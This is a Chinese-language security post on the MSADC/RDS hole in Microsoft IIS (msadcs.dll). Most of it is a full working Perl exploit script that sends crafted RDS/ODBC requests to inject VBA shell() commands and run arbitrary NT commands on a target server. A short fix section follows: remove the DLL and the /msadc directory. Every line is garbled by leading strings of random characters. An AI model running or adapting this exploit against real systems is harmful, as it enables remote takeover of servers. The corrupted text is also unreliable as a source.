IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
cTn bI4S; f+6l0@K2 涉及程序：
GCKl [<9* Microsoft NT server
' 7A7HDJ _#O?g=1 描述：
FCWphpz 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
(Gn[T1p? 7q 2YsI 详细：
. T|NB8 rS 如果你没有时间读详细内容的话，就删除:
xD=D *W c:\Program Files\Common Files\System\Msadc\msadcs.dll
rYJ ))@ 有关的安全问题就没有了。
R}>Do =hAO B`F82 _O 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
yjq
)}y,tF D 'h2 DP! 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
6{
Nbe= 关于利用ODBC远程漏洞的描述，请参看:
[1 C#[Vla f#~Re:7.c http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ge[i&,.&z ?5Fj]Bk ] 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
0Nu]N)H5<l http://www.microsoft.com/security/bulletins/MS99-025faq.asp ,&=`T 7i _iu |*h1y 这里不再论述。
r ieQ&Jt" ?N
ga 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
aK{\8L3] mSfhl(<L /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
l.x }I"tf 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
i[pf*W0g /aqN` EV FfXv^ #将下面这段保存为txt文件，然后: "perl -x 文件名"
(UZ*36@PJx u-_$?'l;~ #!perl
7gw Z9Fob #
1l_ }O1 # MSADC/RDS 'usage' (aka exploit) script
}dUC^04 #
p L@zZK0 # by rain.forest.puppy
m_2P{ #
!r*;R\!n 2 # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
x]oQl^ F # beta test and find errors!
Q*.FUV&; =!^ iiHF use Socket; use Getopt::Std;
@<G/H|f getopts("e:vd:h:XR", \%args);
(w eo kP! F9\Ot^~ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
GZEonCk[& (J&Xo.<Z- if (!defined $args{h} && !defined $args{R}) {
mM* yv print qq~
lrhAO"/1
Usage: msadc.pl -h <host> { -d <delay> -X -v }
~8(X@~Tn* -h <host> = host you want to scan (ip or domain)
nY9 qYFw -d <seconds> = delay between calls, default 1 second
Nr9[Vz?$P -X = dump Index Server path table, if available
gKN_~{{OD -v = verbose
b 3xkJ&Z -e = external dictionary file for step 5
j/D)UWkR 8 >Z$/1Mh Or a -R will resume a command session
EcoUpiL%2 ^P/D8cXa4 ~; exit;}
b@/ON}gX rx> Tc#g $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
49oW 'j if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
2^6TrZA7M6 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
(QSWb>np if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
?d<:V.1U@ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
GB?#1|, if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
\GvY`kt3 AvE^
F1 if (!defined $args{R}){ $ret = &has_msadc;
8(5E<&JP die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
`^L<db^A \>Rwg=Lh print "Please type the NT commandline you want to run (cmd /c assumed):\n"
.)> /!|i . "cmd /c ";
N&APqT $in=<STDIN>; chomp $in;
]HV~xD7\ $command="cmd /c " . $in ;
=t$mbI SU
O; if (defined $args{R}) {&load; exit;}
`u~ _qt;{,t print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
~f10ZB_k>' &try_btcustmr;
\'+{X(] 9]@J*A}=l print "\nStep 2: Trying to make our own DSN...";
f WjS) &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
`qDz=,)WP ,{?bM print "\nStep 3: Trying known DSNs...";
] ZGvRA& &known_dsn;
0ITA3v8{ E#$_uZ4 print "\nStep 4: Trying known .mdbs...";
pq?[ wp" &known_mdb;
n, jE#Z.D ./ nYXREO| if (defined $args{e}){
udD* E~1q print "\nStep 5: Trying dictionary of DSN names...";
7 G[ GHc> &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
# )mkD4 [gkRXP[DGs print "Sorry Charley...maybe next time?\n";
A
Ok7G?Y exit;
h0 GdFWN /P!X4~sTM ##############################################################################
wYQ 1Z K-5"# sub sendraw { # ripped and modded from whisker
9`C iE sleep($delay); # it's a DoS on the server! At least on mine...
$qtU my ($pstr)=@_;
/-{O\7-D socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
O\?5#. die("Socket problems\n");
vQYfo am; if(connect(S,pack "SnA4x8",2,80,$target)){
_`@Xy! Ye select(S); $|=1;
+ z(,A print $pstr; my @in=<S>;
m0A@jWgd select(STDOUT); close(S);
B#GZmv1 return @in;
!qXq
y}?w } else { die("Can't connect...\n"); }}
GQ-e$D@SfB 0 |s$vqc ##############################################################################
udEb/7ZL Fm$n@R bX sub make_header { # make the HTTP request
DA MpR3 my $msadc=<<EOT
h w ;d m POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
*T> #zR{ User-Agent: ACTIVEDATA
;8L+_ YCa Host: $ip
bOxjm`B< Content-Length: $clen
W_BAb+$aF Connection: Keep-Alive
( #-=y~% /[|}rqX( ADCClientVersion:01.06
GATP Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
)| Vg/S b*FU*)<4. --!ADM!ROX!YOUR!WORLD!
SEQO2`]e: Content-Type: application/x-varg
bm tJU3Rm Content-Length: $reqlen
G rLM${G p*AP 'cR EOT
v[, v{ 5b ; $msadc=~s/\n/\r\n/g;
>^T,U0T]) return $msadc;}
tLXn?aNY F@ _Egi ##############################################################################
;H
y!0n E%k ]cZ sub make_req { # make the RDS request
`FYtiv?G my ($switch, $p1, $p2)=@_;
Ng."+& my $req=""; my $t1, $t2, $query, $dsn;
XU;{ 28P 4lY&=_K[) if ($switch==1){ # this is the btcustmr.mdb query
0l(E!d8&' $query="Select * from Customers where City=" . make_shell();
2yJ7]+Jd7Y $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
KtfkE\KP $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
q-3J.VLJ5H G {pP} elsif ($switch==2){ # this is general make table query
kol,Qs $query="create table AZZ (B int, C varchar(10))";
'TK$ndy;7} $dsn="$p1";}
KM_)7?` [al(>Wr 9 elsif ($switch==3){ # this is general exploit table query
C Nz SBm $query="select * from AZZ where C=" . make_shell();
Y uw
E 0 $dsn="$p1";}
(}*\ { F;?TR [4!k elsif ($switch==4){ # attempt to hork file info from index server
(EOec5qXU $query="select path from scope()";
]xJ'oBhy $dsn="Provider=MSIDXS;";}
^ Kw&=u a8bX"#OR&N elsif ($switch==5){ # bad query
u,Q_WR-wJ $query="select";
nj~$%vmA $dsn="$p1";}
pu2 wEQ ,);=
(r9 $t1= make_unicode($query);
u-%r~ } $t2= make_unicode($dsn);
f\x@ C)E $req = "\x02\x00\x03\x00";
_o &, $req.= "\x08\x00" . pack ("S1", length($t1));
P;L)1 g $req.= "\x00\x00" . $t1 ;
uHUvntr $req.= "\x08\x00" . pack ("S1", length($t2));
fw:7Q7
qo $req.= "\x00\x00" . $t2 ;
2rR@2Vsw2 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
?b*/ddIs return $req;}
EaM"=g r21?c|IP ##############################################################################
M73VeV3DL D% v:P Yf sub make_shell { # this makes the shell() statement
FhY{;-W(T return "'|shell(\"$command\")|'";}
]Efh(Gb] +?"HTDBE|| ##############################################################################
# |{BGVp i_[
HcgT- sub make_unicode { # quick little function to convert to unicode
Q8;x9o@ p my ($in)=@_; my $out;
F1?CqN M for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
'uP'P# return $out;}
(opROsFh .KiPNTh' ##############################################################################
B%%.@[o, <?> I\ sub rdo_success { # checks for RDO return success (this is kludge)
ny!lj a5[ my (@in) = @_; my $base=content_start(@in);
:Bx+WW&P.i if($in[$base]=~/multipart\/mixed/){
dD v{9D, return 1 if( $in[$base+10]=~/^\x09\x00/ );}
B&%L`v2[ return 0;}
f"Z qA'KB# " ;-{ ~ ##############################################################################
*/%$6s~ ~4MtD f sub make_dsn { # this makes a DSN for us
V!pq,!C$v my @drives=("c","d","e","f");
gD,YQ%aq print "\nMaking DSN: ";
oglXW8 foreach $drive (@drives) {
Vr&el print "$drive: ";
vpeq:h my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
vKU]80T "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
dp"<K cP_ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
]97Xu_ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
wq :b j=j return 0 if $2 eq "404"; # not found/doesn't exist
M(;y~ |e if($2 eq "200") {
=R8f)UQYx foreach $line (@results) {
(ZE%tbm2 return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
CbTf"pl } return 0;}
4 o3)* 6T^N!3p_ ##############################################################################
O_r^oH m+D2hK* sub verify_exists {
.;<7424(% my ($page)=@_;
pX>ua5Z my @results=sendraw("GET $page HTTP/1.0\n\n");
7%:??*"~ return $results[0];}
Qq`3 S> 652u Z};e ##############################################################################
bjM-Hd/K ppwd-^f3j sub try_btcustmr {
w$D G=! my @drives=("c","d","e","f");
]yyU)V0Iu my @dirs=("winnt","winnt35","winnt351","win","windows");
rtB |N- +l2e[P+qA foreach $dir (@dirs) {
hr J$%U
print "$dir -> "; # fun status so you can see progress
+ L`V[; foreach $drive (@drives) {
B8bvp:Ho| print "$drive: "; # ditto
HO 266M $reqlen=length( make_req(1,$drive,$dir) ) - 28;
89*S? C1 $reqlenlen=length( "$reqlen" );
bh= \ $clen= 206 + $reqlenlen + $reqlen;
Tjd&^m [=XZza.z my @results=sendraw(make_header() . make_req(1,$drive,$dir));
T5 K-gz7A if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
K%Usjezv& else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
t!6\7Vm/ + 6x"trC ##############################################################################
GAg.p?Sq o x(* sub odbc_error {
2. StG(Y! my (@in)=@_; my $base;
WafdE my $base = content_start(@in);
Q;XX gX#l if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
3mpP| b" $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
{ M` $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
L\QQjI{ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
3M}AxE u return $in[$base+4].$in[$base+5].$in[$base+6];}
'4J&Gp x print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
B* 9 print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
mBw2 $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
umJay /> M.o?CX' ##############################################################################
rER~P\- f2uZK!:m sub verbose {
UqD5
A~w my ($in)=@_;
B"~U<6s0 return if !$verbose;
PLO\L W print STDOUT "\n$in\n";}
"F&Tnhh 4 LTg?5GwD\j ##############################################################################
l9]o\JFXk
*Zc9yZl2 sub save {
l)}<#Ri my ($p1, $p2, $p3, $p4)=@_;
/DLr( open(OUT, ">rds.save") || print "Problem saving parameters...\n";
4qqF v?O[r print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
x2sN\tOh^ close OUT;}
V^j3y`K 2;&mkc K' ##############################################################################
? 2H{^\<(e 613/ K`o sub load {
=ft9T&ciD my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
\V._Z>] open(IN,"<rds.save") || die("Couldn't open rds.save\n");
9 1B Y]N @p=<IN>; close(IN);
#uQrJh1o8 $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
l>A\ V) $target= inet_aton($ip) || die("inet_aton problems");
5k K= S print "Resuming to $ip ...";
cYsR 0# $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
@[n2dmj if($p[1]==1) {
gBMta+<fE~ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
G=vN;e_$_b $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
g<M0|eX@~ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
eT;AAGql if (rdo_success(@results)){print "Success!\n";}
?(]a*~rx else { print "failed\n"; verbose(odbc_error(@results));}}
l #b:^3 elsif ($p[1]==3){
4+)Z k$E if(run_query("$p[3]")){
S *;#'j)4+ print "Success!\n";} else { print "failed\n"; }}
ERk kS Tp elsif ($p[1]==4){
J =b* if(run_query($drvst . "$p[3]")){
$B<~ 0'6} print "Success!\n"; } else { print "failed\n"; }}
CP}0Ri) exit;}
)m|C8[ u O\%j56Bf ##############################################################################
X
d!C p B<A:_'g sub create_table {
_wMc*kjJO my ($in)=@_;
4\v~ HFsv $reqlen=length( make_req(2,$in,"") ) - 28;
Z&TD+fT< $reqlenlen=length( "$reqlen" );
i"/ r) >"b $clen= 206 + $reqlenlen + $reqlen;
)sqaR^ my @results=sendraw(make_header() . make_req(2,$in,""));
8^i[j\Y;6 return 1 if rdo_success(@results);
'zE:
fLo my $temp= odbc_error(@results); verbose($temp);
F/)f,sZ F return 1 if $temp=~/Table 'AZZ' already exists/;
KUb J e)}g return 0;}
K/DH
/
r XnD0eua# ##############################################################################
5Qb; 2! Pv# KmSA9 sub known_dsn {
6s'[{Ov # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
7Ez}k}aR< my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
GM:, CJ? "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
4>l0V< "banner", "banners", "ads", "ADCDemo", "ADCTest");
l+oDq'[q" b S, etd foreach $dSn (@dsns) {
KvGbDG print ".";
ACgt"
M.3F next if (!is_access("DSN=$dSn"));
$\+"qs) if(create_table("DSN=$dSn")){
Tu==49 print "$dSn successful\n";
X!o@f$ if(run_query("DSN=$dSn")){
!!9{U%s print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
.-J`d=Krp print "Something's borked. Use verbose next time\n";}}} print "\n";}
j|ozGO S3; lKr ##############################################################################
\{lE0j7}h hX&-/fF+f sub is_access {
!`Le`c my ($in)=@_;
Xp#~N_S$ $reqlen=length( make_req(5,$in,"") ) - 28;
/GyEV Cc $reqlenlen=length( "$reqlen" );
o94P I*. $clen= 206 + $reqlenlen + $reqlen;
K@HLIuz4t my @results=sendraw(make_header() . make_req(5,$in,""));
$khrWiX my $temp= odbc_error(@results);
"8FSA`>= verbose($temp); return 1 if ($temp=~/Microsoft Access/);
:|=- (z return 0;}
h5 j<u TWtC-w I; ##############################################################################
3=IG#6)~C l4zw]AYk+X sub run_query {
,eDu$8J9 my ($in)=@_;
<H!O:Mf_p $reqlen=length( make_req(3,$in,"") ) - 28;
a"k'm}hVY$ $reqlenlen=length( "$reqlen" );
| "_ )zQ $clen= 206 + $reqlenlen + $reqlen;
)t 5;d my @results=sendraw(make_header() . make_req(3,$in,""));
nYhp`!W4; return 1 if rdo_success(@results);
s~=g*9 9H my $temp= odbc_error(@results); verbose($temp);
$<:'!#% return 0;}
vpi l$Uq & wOE\TCL ##############################################################################
;e2Ij (,shiK[5f sub known_mdb {
TKd6MZhT my @drives=("c","d","e","f","g");
Gj)uy jct my @dirs=("winnt","winnt35","winnt351","win","windows");
Zct!/u9 Q my $dir, $drive, $mdb;
z1#oW f{* my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
,^HS`!s[ E f*v1J<1# # this is sparse, because I don't know of many
{|Bd? U; my @sysmdbs=( "\\catroot\\icatalog.mdb",
\,hrk~4U;( "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
#.o0mguU "\\system32\\certmdb.mdb",
Q]^Yi1P bS "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
<;aJ#qT LGAX"/LX my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
A4}#U=3tI "\\cfusion\\cfapps\\forums\\forums_.mdb",
4AuH1m)< "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
O hi D "\\cfusion\\cfapps\\security\\realm_.mdb",
+3)[> {~1Z "\\cfusion\\cfapps\\security\\data\\realm.mdb",
i]dz}= j' "\\cfusion\\database\\cfexamples.mdb",
IEc>.J|T& "\\cfusion\\database\\cfsnippets.mdb",
4aA9\\hfGY "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
moaodmt]x "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
fwy"w "\\cfusion\\brighttiger\\database\\cleam.mdb",
Q4=|@| U0 "\\cfusion\\database\\smpolicy.mdb",
;sCU [4 "\\cfusion\\database\cypress.mdb",
U[ bgu#P; "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
0_L m#fE U "\\website\\cgi-win\\dbsample.mdb",
q1jN]H "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
!8o\. uyi "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
MJ A~jjy4 ); #these are just
z$66\/V'] foreach $drive (@drives) {
=D}4X1l foreach $dir (@dirs){
~x\Cmu9` foreach $mdb (@sysmdbs) {
Z~ _8P print ".";
g 9`[Y~ if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
Vli 3>K& print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
-(
(Z@T1k if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
O < >#>[ print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
@"w2R$o } else { print "Something's borked. Use verbose next time\n"; }}}}}
v[sm QO ex!XB$X foreach $drive (@drives) {
xb]o dYGdW foreach $mdb (@mdbs) {
V!W1fb7V print ".";
(2d3 jQN` if(create_table($drv . $drive . $dir . $mdb)){
Hxn<(gd
G print "\n" . $drive . $dir . $mdb . " successful\n";
yZ5 x8 8 > if(run_query($drv . $drive . $dir . $mdb)){
}f]b't print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
M}u1qXa } else { print "Something's borked. Use verbose next time\n"; }}}}
o E6|Zw }
Fav^^vf*1 }s(C ^0x ##############################################################################
8ZW?|-i zWb -pF| sub hork_idx {
Ww=O=c5uOu print "\nAttempting to dump Index Server tables...\n";
Fh^ox"3 c print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
Qww^P/vm $reqlen=length( make_req(4,"","") ) - 28;
&>g~-s $reqlenlen=length( "$reqlen" );
`\ R{5TU $clen= 206 + $reqlenlen + $reqlen;
TOrMXcn!/ my @results=sendraw2(make_header() . make_req(4,"",""));
0d";Hh: if (rdo_success(@results)){
e6 2y my $max=@results; my $c; my %d;
bs
BZ E for($c=19; $c<$max; $c++){
Li]k7w?H $results[$c]=~s/\x00//g;
O2% ` 2h $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
=q5@,wN^ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
G0pBR]_5z$ $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
x~z_,': $d{"$1$2"}="";}
-p] >Be+^x foreach $c (keys %d){ print "$c\n"; }
/'\;8A$J` } else {print "Index server doesn't seem to be installed.\n"; }}
%Ci^*zb y jFe' ##############################################################################
WcU@~05b QkL@JF]Re sub dsn_dict {
@iRO7 6 m open(IN, "<$args{e}") || die("Can't open external dictionary\n");
Hit Ac8 while(<IN>){
4#7Umj $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
9qre|AA next if (!is_access("DSN=$dSn"));
v&r=-}z2! if(create_table("DSN=$dSn")){
u1N1n;# print "$dSn successful\n";
^aHh{BQ% if(run_query("DSN=$dSn")){
M%|f+u & print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
p/3BD&6 print "Something's borked. Use verbose next time\n";}}}
[Y$V\h=V print "\n"; close(IN);}
d/lffNS= aHC%19UN ##############################################################################
9T?64t<Ju 5uttv:@= sub sendraw2 { # ripped and modded from whisker
'bPk'pj9 sleep($delay); # it's a DoS on the server! At least on mine...
wFb@1ae\ my ($pstr)=@_;
2f^-~dz socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
+9C;<f die("Socket problems\n");
RG&6FRoq if(connect(S,pack "SnA4x8",2,80,$target)){
1 }nm2h1 I print "Connected. Getting data";
Oy%Im8.-A# open(OUT,">raw.out"); my @in;
:!'] p2B select(S); $|=1; print $pstr;
: ~D]; m while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
U!0E_J close(OUT); select(STDOUT); close(S); return @in;
).Gd1pE } else { die("Can't connect...\n"); }}
$kl$D"*0 x6%#ws vS ##############################################################################
x2m]Us@LIU n,sY \=vB sub content_start { # this will take in the server headers
k}U
JVH21k my (@in)=@_; my $c;
h0lu!m#\_ for ($c=1;$c<500;$c++) {
`|?]CkP if($in[$c] =~/^\x0d\x0a/){
nE7JLtbH if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
SOj`Y|6^: else { return $c+1; }}}
X4'kZ'Sy< return -1;} # it should never get here actually
)2V@ p~k? iadk H]w ##############################################################################
y l/a:Q 'hF@><sqk sub funky {
v? )SA]; my (@in)=@_; my $error=odbc_error(@in);
#w*"qn#2Uz if($error=~/ADO could not find the specified provider/){
: ,^ >d3k print "\nServer returned an ADO miscofiguration message\nAborting.\n";
/PW&$P1.]" exit;}
Egf^H>,.M if($error=~/A Handler is required/){
{R8=}Qo print "\nServer has custom handler filters (they most likely are patched)\n";
[e1L{ _*l
exit;}
*KJ7nRKx(w if($error=~/specified Handler has denied Access/){
Nxi)Q$ print "\nServer has custom handler filters (they most likely are patched)\n";
4TVwa(cB exit;}}
;wgFr.#hp@ 7w i%j! ##############################################################################
Q;wB{vr$ 'F7VM?HBfg sub has_msadc {
%t[K36,p my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
)$_,?*fq: my $base=content_start(@results);
)*D 'csGc return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
+v-LL*fa return 0;}
M _ (2sq o%qkq K1 ########################
Ia7D F ' 7kd|K
b( OD|1c6+X 解决方案：
,ux+Qz5( 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
]7vf#1 i< 2、移除web 目录: /msadc
